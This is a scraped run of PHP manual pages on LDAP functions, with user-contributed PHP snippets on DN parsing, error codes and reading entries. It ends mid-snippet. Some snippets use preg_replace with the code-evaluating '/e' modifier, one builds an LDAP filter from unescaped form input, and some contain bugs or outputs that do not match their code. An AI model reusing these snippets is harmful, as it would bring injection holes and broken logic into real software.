Don't know if anyone is interested in this, but this is a modified and more dynamic version of the posting below. Since ldap_dn2ufn takes ',' as delimiter for the UFNs, we'll also use it here. $pHowToBuild specifies, how the DN is going to be build.

Short example:

$myUFN = ldap_dn2ufn("cn=naaina, ou=container1, ou=container2, ou=container3, o=private, c=de");
echo $myUFN . "\n"; // will return "naaina, container1, container2, container3, private, de"

$myDN = $ldapObject->conv_ufn2dn($myUFN);
echo $myDN . "\n"; // will return "cn=naaina,ou=container1,ou=container2,ou=container3,o=private,c=de"

For the object name, $pHowToBuild["object"] is going to be used as prefix - for containers $pHowToBuild["container"] and for the last n elements $pHowToBuild["last"].

<?php
  function ldap_ufn2dn (
   $pUFN,
   $pDelimiter = ",",
   $pHowToBuild = array(
    "object" => "cn",
    "container" => "ou",
    "last" => array("o", "c")
   )
  )
  {
   $resultDN = null;

   if(!empty($pUFN)) {
     /* Check $pHowToBuild */
     if(is_array($pHowToBuild)) {
       /* Check if required keys are existent */
       if(array_key_exists("object", $pHowToBuild) &&
          array_key_exists("container", $pHowToBuild) &&
          array_key_exists("last", $pHowToBuild))
       {
         $ufnArray = explode($pDelimiter, $pUFN);
         $ufnLast  = count($ufnArray) - count($pHowToBuild["last"]);

         /* Remove empty values */
         foreach($ufnArray as $objKey => $objVal)
           if(empty($objVal))
             array_splice($ufnArray, $objKey, 1);

         /* Now build the DN ... */
         foreach($ufnArray as $objKey => $objVal) {
           $objVal = trim($objVal);

           if($objKey == 0) {
             /* For the object */
             $resultDN .= $pHowToBuild["object"] . "=" . $objVal . ",";
           } elseif ($objKey >= $ufnLast) {
             /* For last parts of the DN */
             $resultDN .= $pHowToBuild["last"][$objKey - $ufnLast] . "=" . $objVal;
             if(($objKey - $ufnLast - 1) != 0) {
               $resultDN .= ",";
             }
           } else {
             /* For containers */
             $resultDN .= $pHowToBuild["container"] . "=" . $objVal . ",";
           }
         }
       }
     }
   }

   return $resultDN;
  }
?>
alex at netflex dot nl 15-Oct-2002 01:09
The function of bryan will only work if you start with an Organization and using only an Organizational Unit as a container and the object is an CN.

For example:

$DN = "CN=DNS,CN=Authorized Login Methods,CN=Security";

echo ($DN = ldap_dn2ufn($DN)) . "\n";

echo ($DN = ldap_ufn2dn($DN)) . "\n";

will echo:

DNS,Authorized Login Methods,Security

CN=DNS,OU=Authorized Login Methods,O=Security
bryan at apachetoolbox dot com 25-Jul-2001 01:47
function ldap_unf2dn($unf,$delimeter=".") {
 $seperated = explode($delimeter,$unf); //split the unf up by the given delimeter
 $LastKey=count($seperated)-1;          //0 is the first key to total-1 would be the last key
 foreach($seperated as $key => $value) {
  if ($key == 1) {              //first variable is the CN
   $dn="${dn}cn=$value,";
  } elseif ($key == $LastKey) { //last variable, so it's the O
   $dn="${dn}o=$value";
  } elseif ($value == "") {     //value is blank, so continue
   continue;
  } else {                      //just a typical OU
   $dn="${dn}ou=$value,";
  }

 };
return $dn;

}

$unf=".bryan.users.admin.apachetoolbox";
$dn=ldap_unf2dn($unf);
print "$dn" // will give me "cn=bryan,ou=users,ou=TS,o=apachetoolbox"
bryan at apachetoolbox dot com 25-Jul-2001 01:12
This function will convert "cn=bryan,ou=users,ou=admin,o=apachetoolbox" to "bryan,users,admin,apachetoolbox".


Convert LDAP error number into string error message

  • « ldap_dn2ufn
  • ldap_errno »
  • PHP Manual
  • LDAP Functions
  • Convert LDAP error number into string error message

ldap_err2str

(PHP 4, PHP 5)

ldap_err2str — Convert LDAP error number into string error message

Description

string ldap_err2str ( int $errno )

Returns the string error message explaining the error number errno. While LDAP errno numbers are standardized, different libraries return different or even localized textual error messages. Never check for a specific error message text, but always use an error number to check.

Parameters

errno

The error number.

Return Values

Returns the error message, as a string.

Examples

Example #1 Enumerating all LDAP error messages

<?php
  for ($i=0; $i<100; $i++) {
    printf("Error $i: %s<br />\n", ldap_err2str($i));
  }
?>

See Also

  • ldap_errno() - Return the LDAP error number of the last LDAP command
  • ldap_error() - Return the LDAP error message of the last LDAP command

User Contributed Notes

There are no user contributed notes for this page.


Return the LDAP error number of the last LDAP command

  • « ldap_err2str
  • ldap_error »
  • PHP Manual
  • LDAP Functions
  • Return the LDAP error number of the last LDAP command

ldap_errno

(PHP 4, PHP 5)

ldap_errno — Return the LDAP error number of the last LDAP command

Description

int ldap_errno ( resource $link_identifier )

Returns the standardized error number returned by the last LDAP command. This number can be converted into a textual error message using ldap_err2str().

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

Return Values

Return the LDAP error number of the last LDAP command for this link.

Examples

Unless you lower your warning level in your php.ini sufficiently or prefix your LDAP commands with @ (at) characters to suppress warning output, the errors generated will also show up in your HTML output.

Example #1 Generating and catching an error

<?php
// This example contains an error, which we will catch.
$ld = ldap_connect("localhost");
$bind = ldap_bind($ld);
// syntax error in filter expression (errno 87),
// must be "objectclass=*" to work.
$res =  @ldap_search($ld, "o=Myorg, c=DE", "objectclass");
if (!$res) {
    echo "LDAP-Errno: " . ldap_errno($ld) . "<br />\n";
    echo "LDAP-Error: " . ldap_error($ld) . "<br />\n";
    die("Argh!<br />\n");
}
$info = ldap_get_entries($ld, $res);
echo $info["count"] . " matching entries.<br />\n";
?>

See Also

  • ldap_err2str() - Convert LDAP error number into string error message
  • ldap_error() - Return the LDAP error message of the last LDAP command

User Contributed Notes

12-Apr-2002 01:23
Common LDAP error codes

LDAP_SUCCESS                    0x00
LDAP_OPERATIONS_ERROR           0x01
LDAP_PROTOCOL_ERROR             0x02
LDAP_TIMELIMIT_EXCEEDED         0x03
LDAP_SIZELIMIT_EXCEEDED         0x04
LDAP_COMPARE_FALSE              0x05
LDAP_COMPARE_TRUE               0x06
LDAP_AUTH_METHOD_NOT_SUPPORTED  0x07
LDAP_STRONG_AUTH_REQUIRED       0x08
// Not used in LDAPv3
LDAP_PARTIAL_RESULTS            0x09

// Next 5 new in LDAPv3
LDAP_REFERRAL           0x0a
LDAP_ADMINLIMIT_EXCEEDED        0x0b
LDAP_UNAVAILABLE_CRITICAL_EXTENSION     0x0c
LDAP_CONFIDENTIALITY_REQUIRED   0x0d
LDAP_SASL_BIND_INPROGRESS       0x0e

LDAP_NO_SUCH_ATTRIBUTE          0x10
LDAP_UNDEFINED_TYPE             0x11
LDAP_INAPPROPRIATE_MATCHING     0x12
LDAP_CONSTRAINT_VIOLATION       0x13
LDAP_TYPE_OR_VALUE_EXISTS       0x14
LDAP_INVALID_SYNTAX             0x15

LDAP_NO_SUCH_OBJECT             0x20   /* 32 */
LDAP_ALIAS_PROBLEM              0x21
LDAP_INVALID_DN_SYNTAX          0x22
// Next two not used in LDAPv3
LDAP_IS_LEAF                    0x23
LDAP_ALIAS_DEREF_PROBLEM        0x24

LDAP_INAPPROPRIATE_AUTH         0x30   /* 48 */
LDAP_INVALID_CREDENTIALS        0x31   /* 49 */
LDAP_INSUFFICIENT_ACCESS        0x32
LDAP_BUSY                       0x33
LDAP_UNAVAILABLE                0x34
LDAP_UNWILLING_TO_PERFORM       0x35
LDAP_LOOP_DETECT                0x36

LDAP_SORT_CONTROL_MISSING       0x3C    /* 60 */
LDAP_INDEX_RANGE_ERROR          0x3D    /* 61 */

LDAP_NAMING_VIOLATION           0x40
LDAP_OBJECT_CLASS_VIOLATION     0x41
LDAP_NOT_ALLOWED_ON_NONLEAF     0x42
LDAP_NOT_ALLOWED_ON_RDN         0x43
LDAP_ALREADY_EXISTS             0x44    /* 68 */
LDAP_NO_OBJECT_CLASS_MODS       0x45
LDAP_RESULTS_TOO_LARGE          0x46
// Next two for LDAPv3
LDAP_AFFECTS_MULTIPLE_DSAS      0x47
LDAP_OTHER                      0x50

// Used by some APIs
LDAP_SERVER_DOWN                0x51
LDAP_LOCAL_ERROR                0x52
LDAP_ENCODING_ERROR             0x53
LDAP_DECODING_ERROR             0x54
LDAP_TIMEOUT                    0x55
LDAP_AUTH_UNKNOWN               0x56
LDAP_FILTER_ERROR               0x57    /* 87 */
LDAP_USER_CANCELLED             0x58
LDAP_PARAM_ERROR                0x59
LDAP_NO_MEMORY                  0x5a

// Preliminary LDAPv3 codes
LDAP_CONNECT_ERROR              0x5b
LDAP_NOT_SUPPORTED              0x5c
LDAP_CONTROL_NOT_FOUND  0x5d
LDAP_NO_RESULTS_RETURNED        0x5e
LDAP_MORE_RESULTS_TO_RETURN     0x5f
LDAP_CLIENT_LOOP        0x60
LDAP_REFERRAL_LIMIT_EXCEEDED    0x61
ahall at mirapoint dot com 31-Jul-2001 04:16
Couple of good error codes to get started.  If you want to detect failure of ldap_add due to the record already existing, ldap_error == 0x44.  This means, you can do something like:

$r = ldap_add($ds, $dn, $info);
if (!$r) {
    if (ldap_errno($ds) == 0x44) {
         // Do something about it
    } else {
         // A real failure
    }
}

Similarly, on ldap_delete, you will get a 0x20 value (No Such Object) if you try to delete something that isn't there.


Return the LDAP error message of the last LDAP command

  • « ldap_errno
  • ldap_escape »
  • PHP Manual
  • LDAP Functions
  • Return the LDAP error message of the last LDAP command

ldap_error

(PHP 4, PHP 5)

ldap_error — Return the LDAP error message of the last LDAP command

Description

string ldap_error ( resource $link_identifier )

Returns the string error message explaining the error generated by the last LDAP command for the given link_identifier. While LDAP errno numbers are standardized, different libraries return different or even localized textual error messages. Never check for a specific error message text, but always use an error number to check.

Unless you lower your warning level in your php.ini sufficiently or prefix your LDAP commands with @ (at) characters to suppress warning output, the errors generated will also show up in your HTML output.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

Return Values

Returns string error message.

See Also

  • ldap_err2str() - Convert LDAP error number into string error message
  • ldap_errno() - Return the LDAP error number of the last LDAP command

User Contributed Notes

edA-qa at disemia dot com 28-Jul-2008 03:43
For those wondering, this function appears to do the same thing as:
<?php
ldap_err2str( ldap_errno() );
?>


Escape a string for use in an LDAP filter or DN

  • « ldap_error
  • ldap_explode_dn »
  • PHP Manual
  • LDAP Functions
  • Escape a string for use in an LDAP filter or DN

ldap_escape

(PHP 5 >= 5.6.0)

ldap_escape — Escape a string for use in an LDAP filter or DN

Description

string ldap_escape ( string $value [, string $ignore [, int $flags ]] )

Escapes value for use in the context implied by flags.

Parameters

value

The value to escape.

ignore

Characters to ignore when escaping.

flags

The context the escaped string will be used in: LDAP_ESCAPE_FILTER for filters to be used with ldap_search(), or LDAP_ESCAPE_DN for DNs.

Return Values

Returns the escaped string.

User Contributed Notes

There are no user contributed notes for this page.


Splits DN into its component parts

  • « ldap_escape
  • ldap_first_attribute »
  • PHP Manual
  • LDAP Functions
  • Splits DN into its component parts

ldap_explode_dn

(PHP 4, PHP 5)

ldap_explode_dn — Splits DN into its component parts

Description

array ldap_explode_dn ( string $dn , int $with_attrib )

Splits the DN returned by ldap_get_dn() and breaks it up into its component parts. Each part is known as Relative Distinguished Name, or RDN.

Parameters

dn

The distinguished name of an LDAP entity.

with_attrib

Used to request if the RDNs are returned with only values or their attributes as well. To get RDNs with the attributes (i.e. in attribute=value format) set with_attrib to 0 and to get only values set it to 1.

Return Values

Returns an array of all DN components. The first element in this array has count key and represents the number of returned values, next elements are numerically indexed DN components.

User Contributed Notes

hello+php at NOSPAM dot renoirboulanger dot com 21-Jul-2012 04:20
I came accros this page and enjoyed the comments.

Since a LDAP string can sometimes be lengthy and have many attributes, I needed to be able to sort through all that is in.

In my case, I needed to get the subdomain part and other parameters.

Here is how I built my method.
<?php
    /**
     * Parse, and format a DN string to Array
     *
     * Read a LDAP DN, and return an array keys
     * listing all similar attributes.
     *
     * Also takes care of the character escape and unescape
     *
     * Example:
     * CN=username,OU=UNITNAME,OU=Region,OU=Country,DC=subdomain,DC=domain,DC=com
     *
     * Would normally return:
     * Array (
     *     [count] => 9
     *     [0] => CN=username
     *     [1] => OU=UNITNAME
     *     [2] => OU=Region
     *     [5] => OU=Country
     *     [6] => DC=subdomain
     *     [7] => DC=domain
     *     [8] => DC=com
     * )
     *
     * Returns instead a manageable array:
     * array (
     *     [CN] => array( username )
     *     [OU] => array( UNITNAME, Region, Country )
     *     [DC] => array ( subdomain, domain, com )
     * )
     *
     *
     * @author gabriel at hrz dot uni-marburg dot de 05-Aug-2003 02:27 (part of the character replacement)
     * @author Renoir Boulanger
     *
     * @param  string $dn          The DN
     * @return array
     */
    function parseLdapDn($dn)
    {
        $parsr=ldap_explode_dn($dn, 0);
        //$parsr[] = 'EE=Sôme Krazï string';
        //$parsr[] = 'AndBogusOne';
        $out = array();
        foreach($parsr as $key=>$value){
            if(FALSE !== strstr($value, '=')){
                list($prefix,$data) = explode("=",$value);
                $data=preg_replace("/\\\\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\\\1')).''", $data);
                if(isset($current_prefix) && $prefix == $current_prefix){
                    $out[$prefix][] = $data;
                } else {
                    $current_prefix = $prefix;
                    $out[$prefix][] = $data;
                }
            }
        }
        return $out;
    }
?>
DavidSmith at byu dot net 15-Sep-2003 06:06
[ Editor's Note: The segfault has been fixed and will not occur in PHP 4.3.4 or PHP 5.0.0 when they are released.  However, it is still important to escape special characters as detailed below. ]

If your DN contains < or > characters, you must escape them with a backslash or ldap_explode_dn() will give you a "wrong parameter count" error or even a segmentation fault.

For example, these calls will fail with a "wrong parameter count" or a seg fault:

  ldap_explode_dn( "cn=<bob>,dc=example,dc=com", 0 );
  ldap_explode_dn( 'cn=<bob>,dc=example,dc=com', 0 );

But this will succeed

  ldap_explode_dn( "cn=\<bob\>,dc=example,dc=com", 0 );

Notice also that the < and > are escaped with hex codes as noted above. This function is a nice wrapper that properly formats all DNs and can safely be called with < and > characters, and UTF-8 characters:

function my_explode_dn( $dn, $with_attributes=0 )
{
        $dn = addcslashes( $dn, "<>" );
        $result = ldap_explode_dn( $dn, $with_attributes );
        //translate hex code into ascii again
        foreach( $result as $key => $value )
                $result[$key] = preg_replace("/\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\1')).''", $value);
        return $result;
}

I am using php 4.3.1. Good luck!
gabriel at hrz dot uni-marburg dot de 05-Aug-2003 11:27
Keep attention on UTF8 encoded DNs. Since openLDAP >=2.1.2
ldap_explode_dn turns unprintable chars (in the ASCII sense, UTF8
encoded) into \<hexcode>.

Example:

$dn="ou=Universität ,c=DE";
var_dump(ldap_explode_dn($dn,0));

//returns

array(3) {
  ["count"]=>
  int(2)
  [0]=>
  string(19) "ou=Universit\C3\A4t"
  [1]=>
  string(4) "c=DE"
}

Unfortunately, PHP don't support the ldap functions ldap_str2dn and
ldap_dn2str, but by means of preg_replace a workaround is possible to
recover the old behaviour of ldap_explode_dn

// workaround
function myldap_explode_dn($dn,$with_attribute){

$result=ldap_explode_dn ($dn, $with_attrib);
 //translate hex code into ascii again
    foreach($result as $key=>$value){
          $result[$key]=preg_replace("/\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\1')).''", $value);
    }
    return($result);

}
//
//then follows for the example

$dn="ou=Universität ,c=DE";
var_dump(myldap_explode_dn($dn,0));

//returns

array(3) {
  ["count"]=>
  int(2)
  [0]=>
  string(15) "ou=Universität"
  [1]=>
  string(4) "c=DE"
}
bs at muekno dot de 23-Oct-2001 01:02
Copying is much better than typing!!!!
Just modify the constants.
Best wishes (and thanX 4 this helpfull site),
Bernd Schwaegerl
Mueller-Knoche GmbH, Systemhaus fuer EDV-Loesungen

# Example:

$HOST = "Yourhostname";
$USER_DN = "Yourldapuser_dn";
$PWD = "Ldapuserpassword";
$BASE_DN = "o=Your_organisation";
$SEARCH_OBJECT="sn=YOUR_SEARCH_PERSON_OBJECTS_SN";

$ldap_handle=ldap_connect($HOST);
$bind_result=ldap_bind($ldap_handle,$USER_DN,$PWD);

$search_result=ldap_search($ldap_handle,$BASE_DN,$SEARCH_OBJECT);
$result=ldap_get_entries($ldap_handle,$search_result);
$result_array=ldap_get_entries($ldap_handle,$result);
$whole_dn=$result_array[0]["dn"];

$dn_parts=ldap_explode_dn($whole_dn,0);


Return first attribute

  • « ldap_explode_dn
  • ldap_first_entry »
  • PHP Manual
  • LDAP Functions
  • Return first attribute

ldap_first_attribute

(PHP 4, PHP 5)

ldap_first_attribute — Return first attribute

Description

string ldap_first_attribute ( resource $link_identifier , resource $result_entry_identifier )

Gets the first attribute in the given entry. Remaining attributes are retrieved by calling ldap_next_attribute() successively.

Similar to reading entries, attributes are also read one by one from a particular entry.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_entry_identifier

ber_identifier

ber_identifier is the identifier to internal memory location pointer. It is passed by reference. The same ber_identifier is passed to ldap_next_attribute() , which modifies that pointer.

Note:

This parameter is no longer used as this is now handled automatically by PHP. For backwards compatibility PHP will not throw an error if this parameter is passed.

Return Values

Returns the first attribute in the entry on success and FALSE on error.

Changelog

Version | Description
5.2.4 | The ber_identifier was removed. This is now handled automatically by PHP.

See Also

  • ldap_next_attribute() - Get the next attribute in result
  • ldap_get_attributes() - Get attributes from a search result entry

User Contributed Notes

There are no user contributed notes for this page.


Return first result id

  • « ldap_first_attribute
  • ldap_first_reference »
  • PHP Manual
  • LDAP Functions
  • Return first result id

ldap_first_entry

(PHP 4, PHP 5)

ldap_first_entry — Return first result id

Description

resource ldap_first_entry ( resource $link_identifier , resource $result_identifier )

Returns the entry identifier for first entry in the result. This entry identifier is then supplied to ldap_next_entry() routine to get successive entries from the result.

Entries in the LDAP result are read sequentially using the ldap_first_entry() and ldap_next_entry() functions.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_identifier

Return Values

Returns the result entry identifier for the first entry on success and FALSE on error.

See Also

  • ldap_get_entries() - Get all result entries

User Contributed Notes

There are no user contributed notes for this page.


Return first reference

  • « ldap_first_entry
  • ldap_free_result »
  • PHP Manual
  • LDAP Functions
  • Return first reference

ldap_first_reference

(PHP 4 >= 4.0.5, PHP 5)

ldap_first_reference — Return first reference

Description

resource ldap_first_reference ( resource $link , resource $result )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

sami at sipponen dot com 16-Nov-2004 12:56
Hopefully the code below help you to loop through references with LDAP3 servers. It took me a significant amount of time to figure out how this thing works and now I have successfully used this with Active Directory to loop through severial subdomains.

Special thanks to Stig Venaas who helped me to get started. (the original problem was that ldap_parse_reference function was missing in Windows builds. At least it will now work with Windows PHP versions 5.1.0-DEV and higher after I made a bug report)

function crawlRefs($user, $passw, $host, $dn, $port, $filter) {

  //Create the basic connection for fetching referrals
  $adConn = ldap_connect($host, $port) or die("System couldn't connect!");
  ldap_set_option($adConn, LDAP_OPT_PROTOCOL_VERSION, 3) or die ("System couldn't make first protocol option setting!");
  ldap_set_option($adConn, LDAP_OPT_REFERRALS, 0) or die ("System couldn't make second protocol option setting!");
  $bd = ldap_bind($adConn, $user, $passw) or die ("System couldn't bind the connection!");
  $search = ldap_search($adConn, $dn, $filter);

  //Find referrals
  $ref = ldap_first_reference($adConn, $search);
  while ($ref) {
    if (ldap_parse_reference($adConn, $ref, $referrals)) {
      while ($referral = array_shift($referrals)) {
        echo $referral . "<br>\n";
      }
    }
  $ref = ldap_next_reference($adConn, $ref);
}


Free result memory

  • « ldap_first_reference
  • ldap_get_attributes »
  • PHP Manual
  • LDAP Functions
  • Free result memory

ldap_free_result

(PHP 4, PHP 5)

ldap_free_result — Free result memory

Description

bool ldap_free_result ( resource $result_identifier )

Frees up the memory allocated internally to store the result. All result memory will be automatically freed when the script terminates.

Typically all the memory allocated for the LDAP result gets freed at the end of the script. In case the script is making successive searches which return large result sets, ldap_free_result() could be called to keep the runtime memory usage by the script low.

Parameters

result_identifier

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Get attributes from a search result entry

  • « ldap_free_result
  • ldap_get_dn »
  • PHP Manual
  • LDAP Functions
  • Get attributes from a search result entry

ldap_get_attributes

(PHP 4, PHP 5)

ldap_get_attributes — Get attributes from a search result entry

Description

array ldap_get_attributes ( resource $link_identifier , resource $result_entry_identifier )

Reads attributes and values from an entry in the search result.

Having located a specific entry in the directory, you can find out what information is held for that entry by using this call. You would use this call for an application which "browses" directory entries and/or where you do not know the structure of the directory entries. In many applications you will be searching for a specific attribute such as an email address or a surname, and won't care what other data is held.

return_value["count"] = number of attributes in the entry
return_value[0] = first attribute
return_value[n] = nth attribute

return_value["attribute"]["count"] = number of values for attribute
return_value["attribute"][0] = first value of the attribute
return_value["attribute"][i] = (i+1)th value of the attribute

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_entry_identifier

Return Values

Returns a complete entry information in a multi-dimensional array on success and FALSE on error.

Examples

Example #1 Show the list of attributes held for a particular directory entry

<?php
// $ds is the link identifier for the directory

// $sr is a valid search result from a prior call to
// one of the ldap directory search calls

$entry = ldap_first_entry($ds, $sr);

$attrs = ldap_get_attributes($ds, $entry);

echo $attrs["count"] . " attributes held for this entry:<p>";

for ($i=0; $i < $attrs["count"]; $i++) {
    echo $attrs[$i] . "<br />";
}
?>

See Also

  • ldap_first_attribute() - Return first attribute
  • ldap_next_attribute() - Get the next attribute in result

User Contributed Notes

dunc at rumbletum dot org 18-Oct-2007 11:52
I spent quite a while scratching my head about how to read operational attributes such as create and modify timestamps.

This function solved it....

function get_entry_system_attrs( $ds, $dn, $deref=LDAP_DEREF_NEVER )
{
   $conn = $ds;
   $attrs = array( 'creatorsname', 'createtimestamp', 'modifiersname',
         'structuralObjectClass', 'entryUUID',  'modifytimestamp',
         'subschemaSubentry', 'hasSubordinates', '+' );
   $search = @ldap_read( $conn, $dn, '(objectClass=*)', $attrs, 0, 0, 0, $deref );
   if( ! $search )
      return false;
   $entry = ldap_first_entry( $conn, $search );
   if( ! $entry)
       return false;
   $attrs = ldap_get_attributes( $conn, $entry );
   if( ! $attrs )
      return false;
   if( ! isset( $attrs['count'] ) )
      return false;
   $count = $attrs['count'];
   unset( $attrs['count'] );
   $return_attrs = array();
   for( $i=0; $i<$count; $i++ ) {
      $attr_name = $attrs[$i];
      unset( $attrs[$attr_name]['count'] );
      $return_attrs[$attr_name] = $attrs[$attr_name];
   }
   return $return_attrs;
}
Snezko Snezak 27-Jul-2006 10:06
Code and function to extract all attributes from all entryes in a certain DN. Maybe not the most timewise efficient but it works.

$entry = ldap_first_entry($ds, $sr);
write_attr($entry,$ds);
for ($i = 0; $i < $n_entries; $i++){
   $entry = ldap_next_entry($ds, $entry);
   write_attr($entry,$ds);
}

function write_attr($entry,$ds){
   $attrs = ldap_get_attributes ($ds, $entry);
   for ($j = 0; $j < $attrs["count"]; $j++){
      $attr_name = $attrs[$j];
      $attrs["$attr_name"]["count"] . "\n";
      for ($k = 0; $k < $attrs["$attr_name"]["count"]; $k++) {
             echo ">>>>>>";
             echo $attr_name.": ".$attrs["$attr_name"][$k]."\n";
      }
   }
}
php dot net at hiddemann dot org 02-Jul-2004 07:59
Note that ldap_get_attributes fetches attributes AND values from the LDAP server. Depending on the data stored in the entry, the following code might work a dozen times faster (or even better, but faster in general) than the code in Example 1:

<?php
// $ds is the link identifier for the directory

// $sr is a valid search result from a prior call to
// one of the ldap directory search calls

$entry = ldap_first_entry($ds, $sr);

$attrs = array();
$attribute = ldap_first_attribute($ds,$entry,$identifier);
while ($attribute) {
   $attrs[] = $attribute;
   $attribute=ldap_next_attribute($ds,$entry,$identifier);
}

echo count($attrs) . " attributes held for this entry:<p>";

for ($i=0; $i<count($attrs); $i++) {
   echo $attrs[$i] . "<br />";
}
?>

You may want to check the time difference with the function "microtime".
kop at meme dot com 29-Jul-2003 08:28
It's good practice to use array_change_key_case() on the result of ldap_get_attributes() so your program can ignore case in attribute names just like ldap itself does.  (You wouldn't want ldap_get_attributes to _always_ flatten the case because you need a way to get the attribute names in a pretty format for display to the user.)
allie at pajunas dot com 21-May-2002 05:52
The array created by this function is similar to the on from ldap_get_entries() but when it creates array keys it alters the attribute's case inconsistently.

ldap_get_entries() lowercases all of the attributes before keying the array with them, but this function appears to leave things as they are.

If you're having problems, do a print_r and make sure you're using correct case for array keys.  For example, you might need to use "objectClass" and not "objectclass".
software at inebria dot com 21-Jun-2001 07:31
As of PHP 4.0.5, the ldap_get_attributes function does not work with binary data.  If you're fetching a JPEG from an LDAP server, use ldap_get_values_len instead.


Get the DN of a result entry

  • « ldap_get_attributes
  • ldap_get_entries »
  • PHP Manual
  • LDAP Functions
  • Get the DN of a result entry

ldap_get_dn

(PHP 4, PHP 5)

ldap_get_dn — Get the DN of a result entry

Description

string ldap_get_dn ( resource $link_identifier , resource $result_entry_identifier )

Finds out the DN of an entry in the result.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_entry_identifier

Return Values

Returns the DN of the result entry and FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Get all result entries

  • « ldap_get_dn
  • ldap_get_option »
  • PHP Manual
  • LDAP Functions
  • Get all result entries

ldap_get_entries

(PHP 4, PHP 5)

ldap_get_entries — Get all result entries

Description

array ldap_get_entries ( resource $link_identifier , resource $result_identifier )

Reads multiple entries from the given result, and then reading the attributes and multiple values.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_identifier

Return Values

Returns a complete result information in a multi-dimensional array on success and FALSE on error.

The structure of the array is as follows. The attribute index is converted to lowercase. (Attributes are case-insensitive for directory servers, but not when used as array indices.)

return_value["count"] = number of entries in the result
return_value[0] : refers to the details of first entry

return_value[i]["dn"] =  DN of the ith entry in the result

return_value[i]["count"] = number of attributes in ith entry
return_value[i][j] = NAME of the jth attribute in the ith entry in the result

return_value[i]["attribute"]["count"] = number of values for
                                        attribute in ith entry
return_value[i]["attribute"][j] = jth value of attribute in ith entry

See Also

  • ldap_first_entry() - Return first result id
  • ldap_next_entry() - Get next result entry

User Contributed Notes

tomas dot hampl at gmail dot com 26-Jan-2012 07:50
It has been mentioned in the comments below, but the <?php ldap_get_entries($connection,$result) ?> always makes all attributes into lower-case. I found out the hard way that if I'm running an ldap query against the corporate AD and then want to display some results, nothing is actually displayed unless the attribute names area in lower-case.

Example:

<?php
// connect to AD
include('ad_con.php');
// limit attributes we want to look for
$attributes_ad = array("displayName","description","cn","givenName","sn","mail","co","mobile","company","displayName");
// define base
$base ="";

// in my script I search based on e-mail, $email variable is passed from the form
$result = ldap_search($conn, $base, "mail=$email*", $attributes_ad) or die ("Error in search
        query");

// put search results into the array ($conn variable is defined in the included 'ad_con.php')
$info = ldap_get_entries($conn, $result);

//Now, to display the results we want:
 for ($i=0; $i<$info["count"]; $i++)
    {
    // to show the attribute displayName (note the case!)
    echo $info[$i]["displayname"][0]

    }

?>
Sebastien Troiani 29-Jan-2010 02:39
Looks like there is a limit on returned objects - only 1000 items are placed in the array
plonky at gmail dot com 07-Apr-2009 06:09
Hope this could help a bit others to print attribute and values on the same line. This is basic code of course

<?php

$ldap_con = ldap_connect($ldap_server) or die("Could not connect to server. Error is " . ldap_error($ldap_con));
$ldap_bd = ldap_bind($ldap_con, $root_dn, $root_pw) or die("Could not bind to server. Error is " .ldap_error($ldap_con));
$result = ldap_search($ldap_con, $personnel_base, "(uid=*)") or die ("Error in query");

$data = ldap_get_entries($ldap_con, $result);

for ($i=0; $i<=$data["count"];$i++) {
        for ($j=0;$j<=$data[$i]["count"];$j++){
        echo $data[$i][$j].": ".$data[$i][$data[$i][$j]][0]."\n";
        }
}
ldap_close($ldap_con);
?>
chl 11-Mar-2009 05:20
Recursive form of markus' function so it can take directly the result of ldap_get_entries :
<?php
function cleanUpEntry( $entry ) {
  $retEntry = array();
  for ( $i = 0; $i < $entry['count']; $i++ ) {
    if (is_array($entry[$i])) {
      $subtree = $entry[$i];
      //This condition should be superfluous so just take the recursive call
      //adapted to your situation in order to increase perf.
      if ( ! empty($subtree['dn']) and ! isset($retEntry[$subtree['dn']])) {
        $retEntry[$subtree['dn']] = cleanUpEntry($subtree);
      }
      else {
        $retEntry[] = cleanUpEntry($subtree);
      }
    }
    else {
      $attribute = $entry[$i];
      if ( $entry[$attribute]['count'] == 1 ) {
        $retEntry[$attribute] = $entry[$attribute][0];
      } else {
        for ( $j = 0; $j < $entry[$attribute]['count']; $j++ ) {
          $retEntry[$attribute][] = $entry[$attribute][$j];
        }
      }
    }
  }
  return $retEntry;
}
?>

Result is of the form :
array(256) {
  ["uid=doe,ou=People,dc=example,dc=net"]=>
  array(3) {
    ["uid"]=>
    string(4) "doe"
    ["cn"]=>
    string(14) "John Doe"
    ["telephonenumber"]=>
    string(4) "1234"
  }
  ["uid=foo,ou=People,dc=example,dc=net"]=>
  ...
asohn at aircanopy dot net 21-Sep-2007 11:48
Some code I put together. Maybe yall can benefit from it.

<?php
function search_results($info) {
  foreach ($info as $inf) {
    if (is_array($inf)) {
      foreach ($inf as $key => $in) {
        if ((count($inf[$key]) - 1) > 0) {
          if (is_array($in)) {
            unset($inf[$key]["count"]);
          }
          $results[$key] = $inf[$key];
        }
      }
    }
  }
  $results["dn"] = explode(',', $info[0]["dn"]);
  return $results;
}

$user = "asohn";

$ds = ldap_connect("ldap://DOMAIN.net");
if ($ds) {
  $r = ldap_bind($ds);
  $sr = ldap_search($ds, "ou=customers,dc=DOMAIN,dc=net", "uid=".$user);
  $info = ldap_get_entries($ds, $sr);

  echo $info["count"]." Search Result(s) for \"".$user."\"\n";

  $results = search_results($info);
  foreach ($results as $key => $result) {
    echo "  ".$key."\n";
    if (is_array($result)){
      foreach($result as $res){
        echo "    ".$res."\n";
      }
    }
  }
  ldap_close($ds);
}
?>
markus dot schabel at tgm dot ac dot at 21-Feb-2006 09:20
When you like to get the entry from LDAP in the same style as ldap_add(), then you can use the following function to convert this entry.

<?php
/**
 * Take an LDAP and make an associative array from it.
 *
 * This function takes an LDAP entry in the ldap_get_entries() style and
 * converts it to an associative array like ldap_add() needs.
 *
 * @param array $entry is the entry that should be converted.
 *
 * @return array is the converted entry.
 */
function cleanUpEntry( $entry ) {
    $retEntry = array();
